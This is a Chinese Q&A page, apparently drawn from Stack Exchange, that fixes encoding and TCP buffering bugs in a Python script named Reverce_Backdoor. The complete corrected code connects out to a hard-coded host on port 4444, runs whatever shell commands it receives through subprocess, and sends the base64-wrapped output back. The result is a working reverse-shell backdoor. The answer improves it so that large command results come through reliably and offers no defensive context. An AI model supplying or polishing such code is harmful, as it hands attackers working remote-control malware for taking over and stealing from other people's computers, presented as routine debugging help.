Python socket使用JSON传输数据触发UTF-8解码报错求解
问题根因
你遇到的报错和大容量传输失败是三个问题共同导致的:
- 编码错误:
subprocess.check_output返回的是系统原始字节流,Windows终端默认编码为GBK(CP936),并非UTF-8,直接将原始字节传入json.dumps时,JSON序列化默认按UTF-8解码字节,遇到非UTF-8编码的字节(比如报错里的0x92)就会触发解码异常。 - 大容量传输失败:TCP是流式协议,不存在固定数据包边界,你原有接收逻辑只调用一次
recv(1024),单次最多只能读取1024字节内容,数据量超过这个值时会出现拆包,拿到不完整的JSON片段就直接解析,必然触发解析错误,根本无法传输大容量结果。 - 逻辑bug:原代码中循环外的
connection.close()写错了对象名,正确写法应该是self.connection.close()。
修复后完整代码
注意:配套的控制端程序也需要使用相同的base64编解码、循环接收逻辑,否则两端协议不匹配无法正常通信
import json import socket import subprocess import base64 class Reverce_Backdoor: def __init__(self, ip, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((ip, port)) def reliable_send(self, data): # 所有待传输内容统一转base64 ASCII字符串,彻底规避JSON序列化编码问题 if isinstance(data, bytes): trans_data = base64.b64encode(data).decode('ascii') else: trans_data = base64.b64encode(data.encode('utf-8')).decode('ascii') json_data = json.dumps(trans_data) self.connection.send(json_data.encode('utf-8')) def reliable_receive(self): json_buffer = b"" while True: try: chunk = self.connection.recv(1024) json_buffer += chunk # 尝试解析JSON,成功则说明数据已接收完整 raw_data = json.loads(json_buffer.decode('utf-8')) # 解码base64还原原始内容 return base64.b64decode(raw_data) except ValueError: # 未收到完整JSON包,继续读取缓冲区 continue def execute_system_command(self, command): return subprocess.check_output(command, shell=True) def run(self): while True: command = self.reliable_receive().decode('utf-8') command_result = self.execute_system_command(command) self.reliable_send(command_result) self.connection.close() if __name__ == "__main__": my_backdoor = Reverce_Backdoor("192.168.3.5", 4444) my_backdoor.run()
关键修改说明
- 彻底解决编码报错:引入base64对所有待传输的原始字节做转码,base64输出为纯ASCII字符,完全符合JSON序列化要求,无论命令返回的是GBK编码内容、特殊二进制字节都能正常传输,不会再触发UTF-8解码错误。
- 支持大容量数据传输:接收逻辑改为循环读取socket缓冲区数据,持续拼接直到能解析出合法JSON结构为止,不再受单次
recv(1024)的长度限制,几MB甚至更大的命令执行结果都能完整传输。 - 修正原有逻辑错误:修复了关闭连接时对象名写错的问题,避免触发属性异常;移除了多余的重复编码操作,避免二次编码导致的乱码问题。
内容的提问来源于stack exchange,提问作者Олег
相关产品推荐
相关产品推荐

